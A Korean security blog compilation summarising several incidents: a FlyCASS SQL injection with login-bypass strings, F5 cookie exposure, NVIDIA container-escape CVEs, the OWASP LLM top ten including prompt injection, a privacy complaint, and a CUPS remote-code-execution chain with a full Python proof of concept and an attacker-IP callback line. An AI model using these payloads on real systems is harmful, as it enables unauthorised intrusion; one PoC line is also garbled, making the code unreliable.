1. 개요

- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1]
- 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능
> 현재는 취약점이 해결되었음

 

2. 주요내용

2.1 KCM (Known Crewmember)

- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램
- 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정

※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립

 

2.2 CASS (Cockpit Access Security System)

- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템

 

2.3 ARINC

- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업
- TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영
> 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함
- TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅

 

2.4 FlyCASS.com

- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음
- 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생
sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공
username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1

※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]

잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요

[사진 1] MySQL 오류

2.5 KCM, CASS 관리자

- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능
직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음

[사진 2] 관리자 계정 접근 성공

- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공
SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제

[사진 3] Test TestOnly 사용자 추가 성공

2.6 공개 및 기타 [3]

- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개
- 이후 FlyCASS는 KCM, CASS에서 비활성화
- TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함
- 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제

3. 참고

[1] https://ian.sh/tsa
[2] https://sqlmap.org/
[3] https://news.ycombinator.com/item?id=41392128

1. 개요

- CISA는 F5 BIG-IP LTM(로컬 트래픽 관리자, Local Traffic Manager) 모듈에서 생성된 쿠키를 악용한 내부 네트워크 탐색에 대해 경고 [1]
- 공격자는 숨겨진 내부 장비를 찾아내고 이를 타켓으로 삼아 침투할 수 있는 취약점을 찾는데 사용할 수 있음

 

2. 주요내용

- F5 BIG-IP: 애플리케이션 배포 및 트래픽 관리 도구로, 웹 애플리케이션의 로드 밸런싱과 보안을 제공하는 솔루션
> LTM 모듈: 트래픽을 관리하고 로드 밸런싱을 통해 네트워크 트래픽을 여러 서버에 분산

 

- LTM 모듈은 세션 일관성을 유지하기 위해 쿠키를 사용
해당 쿠키를 통해 사용자가 동일한 백엔드 서버로 지속적으로 접속할 수 있도록 함
> 그러나, 해당 쿠키는 기본적으로 암호화되지 않은 상태로 설정되어 있음

 

내부 서버 IP 주소, 포트 번호, 로드 밸런싱 설정 등의 정보가 암호화 없이 쿠키에 포함되어 있음
쿠키에서 얻은 정보를 기반으로 네트워크 내 추가 자원을 식별하거나 취약점을 찾아 악용할 수 있음

 

- F5는 BIG-IP 11.5.0부터 모든 쿠키를 암호화할 수 있는 'Required' 옵션 제공 [2][3]
> 쿠키 암호화가 활성화되면 BIG-IP LTM 시스템은 192-Bit AES 암호화 후 Base64 인코딩하여 HTTP 응답에 포함
> 클라이언트가 암호화된 쿠키를 전송한 경우 BIG-IP LTM은 Base64 디코딩 후 복호화한 후 HTTP 요청에 복호화된 쿠키를 포함

 

3. 참고

[1] https://www.cisa.gov/news-events/alerts/2024/10/10/best-practices-configure-big-ip-ltm-systems-encrypt-http-persistence-cookies
[2] https://my.f5.com/manage/s/article/K14784
[3] https://my.f5.com/manage/s/article/K23254150
[4] https://www.dailysecu.com/news/articleView.html?idxno=160113

1. NVIDIA Container Toolkit [1]

- 컨테이너 런타임 라이브러리와 NVIDIA GPU를 활용하도록 컨테이너를 자동으로 구성하는 유틸리티가 포함
- Docker 컨테이너 내에서 NVIDIA GPU를 효율적으로 활용할 수 있도록 만들어진 도구
> 일반적인 환경에서 Docker를 동작 시키면 Host의 CPU를 기반으로 Docker가 생성되며, GPU를 사용할 수 없음
> 과거에는 GPU를 사용하기 위해 컨테이너 내에 NVIDIA GPU 드라이버를 설치하였으나, 안전성-하드웨어와 컨테이너의 드라이버 버전을 매번 맞춰야하는-문제가 있음
> NVIDIA Container Toolkit은 Container에서 GPU를 사용시 libcuda.so와 같은 Host에 있는 CUDA Toolkit들을 마운트해주는 역할

※ CUDA(Computed Unified Device Architecture) Toolkit: 고성능 GPU 가속 애플리케이션을 만드는 개발 환경을 제공 [2]

 

2. 취약점 [3]

2.1 CVE-2024-0132

[사진 1] CVE-2024-0132 [4]

- NVIDIA Container Toolkit에서 발생하는 TOCTOU 취약점 (CVSS: 9.0)

> 악성 이미지를 통해 실행되는 컨테이너를 탈출해 호스트 시스템에 대한 전체 액세스 권한을 얻을 수 있음

> 악용에 성공할 경우 코드 실행, 서비스 거부(DoS), 권한 상승, 정보 유출, 데이터 변조 등의 공격을 유발할 수 있음

※ 구체적인 기술적 세부 사항은 공개하지 않음

영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전

2.1.1 TOCTOU (Time-Of-Check to Time-Of-Use) 취약점

자원을 사용하는 시점과 검사하는 시점이 달라서 자원의 상태변동으로 야기되는 Race Condition 취약점

> 병렬시스템(멀티프로세스로 구현한 응용프로그램)에서는 자원(파일, 소켓 등)을 사용하기에 앞서 자원의 상태를 검사

> 하지만, 자원을 사용하는 시점과 검사하는 시점이 다르기 때문에, 검사하는시점(Time Of Check)에 존재하던 자원이 사용하던 시점(Time Of Use)에 사라지는 등 자원의 상태가 변하는 경우가 발생

동기화 구문을 통해 한번에 하나의 프로세스만 공유자원에 접근 가능하도록 처리

> 성능에 미치는 영향을 최소화하기 위해 임계코드 주변만(동기화가 필요한 부분만) 동기화 구문을 사용

2.1.2 공격 과정

[영상 1] 공격 과정 [5]

① 공격자는 악성 이미지를 제작해 유포한 후 대상 플랫폼에서 악성 이미지 실행
> 공급망 또는 사회공학적기법을 사용해 이미지 실행을 유도
② CVE-2024-0132를 악용해 호스트 파일 시스템에 엑세스
③ Container Runtime Socket을 이용해 호스트 시스템에서 임의의 명령 실행
> docker.sock 및 containerd.sock 악용: root 권한으로 호스트 시스템에서 컨테이너로 임의의 명령을 실행할 수 있음

 

2.2 CVE-2024-0133

[사진 2] CVE-2024-0133 [6]

- 컨테이너 이미지가 호스트 파일 시스템에 빈 파일을 생성할 수 있는 취약점

영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전

 

※ 두 취약점 모두 CDI (Container Device Interface)가 사용되는 경우 영향받지 않음
> CDI (Container Device Interface): 컨테이너 런타임에서 NVIDIA GPU와 같은 복잡한 디바이스에 대한 액세스를 표준화 [7]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [8][9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-0132
CVE-2024-0133
NVIDIA Container Toolkit v1.16.1 이하 v1.16.2
NVIDIA GPU Operator v24.6.1 이하 v24.6.2

4. 참고

[1] https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/index.html
[2] https://developer.nvidia.com/cuda-toolkit
[3] https://www.wiz.io/blog/wiz-research-critical-nvidia-ai-vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-0132
[5] https://www.youtube.com/watch?v=kslKQMgWMzY
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-0133
[7] https://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71562&menuNo=205020
[9] https://nvidia.custhelp.com/app/answers/detail/a_id/5582
[10] https://thehackernews.com/2024/09/critical-nvidia-container-toolkit.html

요약 - OWASP는 LLM 애플리케이션의 가장 치명적인 취약점 10가지 발표
- LLM을 보완하며 학습 데이터의 무결성을 확보하는 검색 증강 생성(Retrieval-Augmented Generation, RAG)
기타 - ChatGPT 등장 후 LLM은 AI 분야의 핵심 기술로 주목 받음
> LLM 관련 서비스들이 등장하고 있지만, 여러 취약점이 나오며 도입 및 사용을 꺼리는 현상이 나타남

- OWASP, LLM 애플리케이션의 가장 치명적인 취약점 10가지 발표
① 프롬프트 주입(Prompt Injection)
> 악의적인 프롬프트(질문)를 입력해 LLM이 본래 정책이나 가이드라인에 구애받지 않고 공격자 의도대로 작동하도록 하는 취약점
> LLM 접근 권한 제어 강화와 외부 콘텐츠 분리 등을 통해 완화할 수 있음

② 불완전한 출력 처리(Insecure Output Handling)
> LLM에서 생성된 출력이 검증 없이 다른 시스템으로 전달될 경우, 원격 코드 실행 등의 위협이 발생할 수 있음
> 제로 트러스트 접근 방식 사용과 입력 유효성 검사 등을 통해 예방할 수 있음

③ 학습 데이터 중독(Training Data Poisoning)
> 사전 학습 데이터를 조작해 모델의 보안성과 효율성을 손상시키는 취약점
> 사용자가 오염된 정보에 노출되거나 시스템 성능 저하를 초래할 수 있음
> 안정성이 검증된 학습 데이터를 사용해 예방할 수 있음

④ 모델 서비스 거부(Model Denial of Service)
> 공격자가 대량의 리소스를 소모시켜 다른 사용자의 서비스 품질을 저하시키고 높은 리소스 비용을 발생시킴
> 사용자 입력 제한 규칙 준수와 리소스 사용량 제한 등을 통해 예방할 수 있음

⑤ 공급망 취약점(Supply Chain Vulnerabilities)
> 체계적인 방식이나 도구 없이는 LLM 공급망을 관리하기 어려워 소프트웨어 공급망 취약점과 유사한 위협이 발생할 수 있음
> 신뢰할 수 있는 공급 업체 사용과 패치 정책 구현 등을 고려해야 함

⑥ 민감 정보 노출(Sensitive Information Disclosure)
> LLM의 답변을 통해 민감한 정보가 노출되고, 이로 인해 개인정보 침해나 지적재산의 무단 액세스가 발생할 수 있음
> 적절한 데이터 정제 기술로 민감 데이터가 학습 데이터에 포함되지 않도록 해야 함

⑦ 불완전 플러그인 설계(Insecure Plugin Design)
> LLM 플러그인은 사용자가 다른 앱 사용 중 자동으로 호출되는 확장 기능
> 모델이 다른 플랫폼에서 제공될 때 앱 실행을 제어할 수 없어 원격코드 실행 등 위협이 발생할 수 있음
> 이를 예방하기 위해 민감한 작업 실행 시 수동 승인을 요구하고 인증 ID를 적용해야 함

⑧ 과도한 에이전시(Excessive Agency)
> 기능 호출 권한을 가진 에이전트가 LLM의 출력에 대응해 해로운 작업을 수행할 수 있음
> 이는 세분화된 기능을 갖춘 플러그인을 사용하고 최소한의 권한으로 제한하는 등의 방법으로 예방할 수 있음

⑨ 과도한 의존(Overreliance)
> LLM이 환각 현상이 발생할 수 있움
> 파인튜닝, 임베딩, RAG 기법 등으로 품질을 개선하고 검증을 받으며, 사용자가 LLM의 한계를 인식하게 해 예방 가능

⑩ 모델 도난(Model Theft)
> 공격자가 해킹을 통해 LLM 모델에 무단으로 접근하거나 모델이 유출될 수 있음
> 강력한 보안 조치를 통해 예방할 수 있음

※ 기타
> 모델의 정보가 최신이 아니거나, 편향된 데이터를 학습해 차별적인 답

⑪ 결론
> LLM의 안정성을 강화하기 위해서는 학습 데이터의 무결성 확보, 권한·접근 제어 강화, 모델 관리 및 모니터링이 필요
> 사용자가 LLM의 한계를 인식하는 것도 중요

- 기존의 LLM
> 사용자 입력으로 학습된 데이터에 기반해 답변 생성
> 사용자가 LLM에 학습되지 않은 질문을 하면, LLM의 데이터 중 가장 확률이 높은 정보를 조합해 답변 생성
> 이 과정에서 환각 현상 (허위 또는 오래된 정보를 사실인 듯 제공) 발생 가능

- 검색 증강 생성(Retrieval-Augmented Generation, RAG)
> 환각 현상을 보완하며 학습 데이터의 무결성을 확보
> LLM이 답변을 생성하기 전 외부 학습 데이터 소스를 참조해 정확도를 높이는 방식
> 방대한 양의 데이터를 학습한 LLM이 특정 도메인이나 조직의 내부 데이터를 활용해 보다 정밀한 답변을 생성할 수 있음

> RAG 작동 방식: 외부 데이터 생성-관련 정보 검색-LLM 프롬프트 확장-외부 데이터 업데이트
① 외부 데이터 생성
  > API, 데이터베이스(DB), 문서 등 다양한 소스에서 원하는 데이터를 가져옴
  > 데이터는 파일, DB 레코드, 텍스트 등 여러 형식
  > LLM이 이해하도록 복잡한 데이터를 임베딩 언어모델을 사용해 벡터 형태로 변환
  > 변환된 벡터 데이터를 벡터 DB에 저장해 지식 라이브러리를 생성

② 관련 정보 검색
  > 사용자가 프롬프트를 입력하면, 질의 인코더(Query Encoder)가 사용자 프롬프트를 벡터 형태로 인코딩한 후 관련된 정보를 벡터 DB에서 검색해 가져옴
  > 관련 정보 검색은 키워드 검색, 시맨틱 검색, 두 방법을 결합한 하이브리드 검색 방법이 있음

③ LLM 프롬프트 확장
  > 검색된 데이터를 컨텍스트(Context)에 추가해 사용자 프롬프트를 보강
  > 확장된 프롬프트를 LLM에 전달하면, LLM이 검색 데이터를 활용해 답변 생성

④ 외부 데이터 업데이트
  > 문서를 비동기적으로 업데이트하는 것을 의미

- RAG 이외에 LLM의 환각 현상을 줄이는 또 다른 방법은 ‘파인튜닝(Fine-Tuning)
> LLM에 도메인 특화 데이터를 학습시켜 맞춤형 모델로 업데이트하는 방법
내용 -

 

보안뉴스

 

LLM 애플리케이션의 가장 치명적인 취약점 10가지와 최근 주목받는 RAG

미국 오픈AI(Open AI)가 대형 언어 모델(Large Language Model, LLM)을 활용한 인공지능(AI) 챗봇 서비스인 챗GPT(ChatGPT)를 공개한 이후 LLM은 AI 분야의 핵심 기술로 주목받고 있다. 구글의 PaLM, 메타의 LLaMA, 마

www.boannews.com

1. 계정 정보 평문 노출 관련 1차 문의

- A 도서출판사에 도서 관련 문의를 위해 홈페이지 접속

> 게시판 사용을 위해서는 로그인이 필요

> 계정 정보가 기억나지 않아 "아이디/비밀번호 찾기" 진행

> 메일로 수신한 계정 정보 확인 결과 PW가 평문으로 노출되어 있었고, KISA에 1차 문의 진행

[사진 1] 평문으로 노출된 PW

답변 요약
- 개인정보 보호법 제29조(안전조치의무)
> 개인정보처리자는 개인정보가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 내부 관리계획 수립, 접속기록 보관 등 대통령령으로 정하는 바에 따라 안전성 확보에 필요한 기술적ㆍ관리적 및 물리적 조치를 하여야 한다.

- 개인정보 보호법제29조를 근거하여 시행령 제16조제2항, 제30조 및 제30조의2에서 다음의 기준을 정함
> 개인정보처리자가 개인정보를 처리함에 있어서 개인정보가 분실·도난·유출·위조·변조 또는 훼손 되지 아니하도록 안전성 확보에 필요한 기술적·관리적 및 물리적 안전조치에 관한 최소한의 기준을 정하고 있음

- 개인정보의 안전성 확보조치 기준에서의 비밀번호
> 정보주체 및 개인정보취급자 등이 개인정보처리시스템 또는 정보통신망을 관리하는 시스템 등에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진 자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보
> 제7조 제1항:  개인정보처리자는 비밀번호, 생체인식정보 등 인증정보를 저장 또는 정보통신망을 통하여 송·수신하는 경우에 이를 안전한 암호 알고리즘으로 암호화
> 제7조 제4항: 개인정보처리자는 개인정보를 정보통신망을 통하여 인터넷망 구간으로 송·수신하는 경우에는 이를 안전한 암호 알고리즘으로 암호화

- 정보통신망을 통한 개인정보 암호화 전송을 위해  프로토콜이 탑재된 기술을 활용하거나, 개인정보를 암호화 저장한 후 이를 전송하는 방법 등을 사용할 수 있으며 만약 암호화 응용프로그램 대신하여 보안서버를 구축하고 있다면 이를 본 법률에 저촉된다고 보기는 어려울 것
> 단, 개인정보의 기술적 관리적 보호조치 기준 제6조제3항에 따른 보안서버를 구축하고 있지 않은 경우 문제의 소지가 있을 수 있음

- 문의 시 제출한 증적자료를 바탕으로 조사 착수 여부에 대해 검토
> 단, 신고서가 누락된 경우 상담으로 처리되므로, 검토를 원하는 경우 접수방법을 참고하여 접수 권고

 

2. 계정 정보 평문 노출 관련 1차 신고

- 위 내용과 관련하여 KISA에 개인정보 침해 신고 접수

> 추가로, 도서 문의 후 계정 탈퇴를 진행하였으나 즉각 삭제가 아닌 일정 시간 후 삭제되어 관련 내용에 관한 문의 진행

> 삭제 후 일정 시간 동안 계정 찾기를 통해 ID/PW를 찾을 수 있었으며, 마찬기지로 PW가 평문으로 노출되어 수신

> 개인정보 삭제 요구와 관련된 답변을 수신 하였으며, 비밀번호 평문 노출 관련 신고를 권고

※ 개인정보 침해 또는 노출 신고 시 해당 내용만을 양식에 맞추어 신고할 필요가 있음을 인지

답변 요약
- 개인정보 보호법 제36조(개인정보의 정정·삭제)
> 제1항: 자신의 개인정보의 열람을 요구한 정보주체는 그 개인정보의 정정 또는 삭제를 요구할 수 있음
> 제2항: 제1항에 따른 정보주체의 요구를 받은 개인정보처리자는 다른 법령에 특별한 규정이 있는 경우를 제외하고는 정보주체의 요구에 필요한 조치를 하여야 함
> 제6항: 제1항·제2항에 따른 정정 또는 삭제 요구 통지 방법 및 절차 등에 필요한 사항을 시행령 제43조(개인정보의 정정·삭제 등)로 정하고 있음

- 개인정보 보호법 제36조 제6항을 근거하여 시행령 제43조(개인정보의 정정·삭제 등) 제3항
> 개인정보의 정정·삭제 요구를 받은 개인정보처리자는 요구를 받는 날로부터 근무일 기준 10일이내에 조치 하도록 규정
> 따라서, 삭제 요구 후 기간 내 조치한 경우 위반의 소지가 있다고 보기는 어려움

- 개인정보의 삭제로 인하여 관련 자료의 첨부가 어려움
> 침해받은 자에 해당함을 입증할 수 없으나 개인정보 보호법 위반의 소지가 있고, 제3자가 개인정보의 권리 또는 이익을 현저히 침해받을 우려가 있음
> 따라서, 신고를 원하는 경우 공익신고자 보호법에 따른 공익신고에 해당하므로 개인정보보호위원회로 신고 권고

 

3. 계정 정보 평문 노출 관련 2차 신고

- 개인정보보호위원회로 신고 및 KISA로 민원 이송 답변

답변 요약
- 안전조치의무 위반 등 개인정보 침해신고 관련 내용
> 개인정보보호법 제62조(침해 사실의 신고 등) 및 시행령 제59조(침해 사실의 신고 등)에 따라 개인정보보호법 침해사실을 접수 및 조사할 수 있도록 한국인터넷진흥원으로 이송

 

4. 계정 정보 평문 노출 관련 3차 신고

- KISA로부터 해당 민원은 이전 개인정보 노출 신고건과 동일한 건으로 침해신고센터에서 검토 진행 안내 메일 수신

> KISA 개인정보침해신고센터로부터 안전조치 의무 시행(비밀번호 암호화) 관련 신고 접수 안내 메일 수신 후 대기 중

1. CUPS(Common Unix Printing System) [1]

- 유닉스 계열 표준 인쇄 시스템

- CUPS는 0.0.0.0:631(UDP)에서 수신 대기중

>  IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미

[사진 1] netstat -anu

- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌

> root로 실행

> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음

[사진 2] cups-browsed

2.취약점 [2]

- CUPS의 cups-browsed 데몬에서 발생하는 취약점

> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음

 

- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]

> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생
> 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성
> 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발

[사진 3] Shodan title:"CUPS" 검색 결과

서비스명 영향받는 버전
cups-browsed 2.0.1 이하
libcupsfilters 2.1b1 이하
libppd 2.1b1 이하
cups-filters 2.0.1 이하

 

2.1 주요내용

2.1.1 CVE-2024-47176

- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)

> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷 전송

> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨

0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever

[사진 4] CVE-2024-47176 [4]

2.1.2 CVE-2024-47076

- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송

> libcupsfilters.cfGetPrinterAttributes()반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성

※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수
※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함

[사진 5] CVE-2024-47076 [5]

2.1.3 CVE-2024-47175

- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입

> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 ​​데이터를 PPD 파일에 주입할 수 있음

*FoomaticRIPCommandLine : "echo 1 > /tmp /PWNED" // 명령 줄 삽입
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip // CUPS가 /usr /lib/cups/filter/foomatic -rip(FoomaticRIPCommandLine 사용)을 실행하도록 지시

[사진 6] CVE-2024-47175 [6]

2.1.4 CVE-2024-47177

- cups-filters.foomatic-rip은 FoomaticRIPCommandLine 지시문을 통해 임의의 명령 실행을 허용

> foomatic-rip 필터는 FoomaticRIPCommandLine 지시문을 통해 임의의 명령을 실행할 수 있으며, 관련 취약점(CVE-2011-2697, CVE-2011-2964)이 존재하지만 2011년 이후 패치되지 않음

※ CUPS 개발자 문의 결과 수정이 매우 어렵고, Foomatic을 통해서만 지원되는 오래된 프린터 모델이 있기 때문으로 답변 받음

※ cups-filters: CUPS 2.x가 Mac OS가 아닌 시스템에서 사용할 수 있는 백엔드, 필터 및 기타 소프트웨어를 제공

[사진 7] CVE-2024-47177 [7]
[사진 8] 취약점 요약 [8]

2.2 PoC [9]

- 공격자가 제어하는 IPP 서버 정보(def send_browsed_packet) 및 FoomaticRIPCommandLine 지시문을 통한 원격 명령 실행(def printer_list_attributes)

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

 

[영상 1] 시연 영상

3. 대응방안

- 아직까지 취약점이 해결된 버전이 배포되지 않음 [10]

① CUPS 실행 여부 및 패키지 버전 확인

 ⒜ $ sudo systemctl status cups-browsed

   > 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음

   > 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우
 ⒝ dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'

   > CUPS 관련 패키지들의 설치 여부와 버전 정보를 확인하는 명령

 

② cups-browsed 서비스 비활성화 (사용하지 않을 경우)

> $ sudo systemctl stop cups-browsed; sudo systemctl disable cups-browsed

> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정

 

③ 방화벽 설정 강화

> $ sudo ufw deny proto udp from any to any port 631

 

④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]

 ⒜ 동작 과정

   > 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음)
   > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성
